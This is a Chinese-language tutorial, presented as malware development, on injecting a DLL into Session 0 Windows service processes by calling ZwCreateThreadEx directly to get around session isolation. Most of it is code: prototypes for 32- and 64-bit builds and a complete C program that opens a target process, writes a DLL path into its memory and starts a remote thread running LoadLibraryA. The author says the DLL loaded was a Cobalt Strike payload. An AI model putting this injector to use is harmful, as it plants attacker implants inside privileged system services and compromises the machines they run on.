惡意軟體開發——突破SESSION 0 隔離的遠執行緒注入

一、前言

在Windows XP,Windows Server 2003以及更早的版本中,第一個登錄的用戶以及Windows的所有服務都運行在Session 0上,這樣的做法導致用戶使用的應用程式可能會利用Windows的服務程式提升自身的許可權,為此,在後續的Windows版本中,引入了一種隔離機制,普通應用程式已經不再session 0中運行。

二、突破SESSION 0 思路

由於SESSION 0隔離機制,導致傳統遠程執行緒注入系統服務進程失敗。和傳統的CreateRemoteThread函數實現的DLL遠執行緒注入的唯一一個區別就是,我們調用的是更為底層的ZwCreateThreadEx來創建執行緒,

雖然CreateRemoteThread函數到底層也是調用ZwCreateThreadEx,但在調用ZwCreateThreadEx時 ,ZwCreateThreadEx的第7個參數 CreateSuspended(CreateThreadFlags)的值始終為1,它會導致執行緒創建完成後一直掛起無法恢復運行,於是我們選擇直接調用ZwCreateThreadEx,將第7個參數直接置為0,這樣可達到注入目的。

三、程式碼實現

ZwCreateThreadEx在 ntdll.dll 中並沒有聲明,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函數的導出地址。
我們需要注意的是64位和32位中,函數定義還不一樣。
64 位下,ZwCreateThreadEx 函數聲明為:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

32 位下,ZwCreateThreadEx 函數聲明為:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);

同樣我們也使用 GetProcAddress 從 Kernel32.dll 中獲取LoadLibraryA函數的導出地址

typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll")
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");

隨後,我們獲取進程句柄,在目標進程空間中申請記憶體空間,然後把我們的DLL寫入到記憶體空間中,最後創建執行緒等待執行

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092);

LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);

ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);

return 0;

效果如下圖:


此處使用的DLL為Cobalt strike生成的64位DLL,最後完整程式碼如下:

#include <Windows.h>
#include <stdio.h>

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

int main(int argc, char* argv[]) {

	char DllPath[] = "C:\\Users\\RTO\\Desktop\\Injection2\\a.dll";   //DLL路徑

	HANDLE hRemoteThread;

	HMODULE hNtModule = GetModuleHandleA("ntdll.dll");

	HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");

	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx");

	typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092);  //此處為SESSION 0的進程PID

	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

	WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);

	ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);

	return 0;

}

四、小結

  • 必須是管理員許可權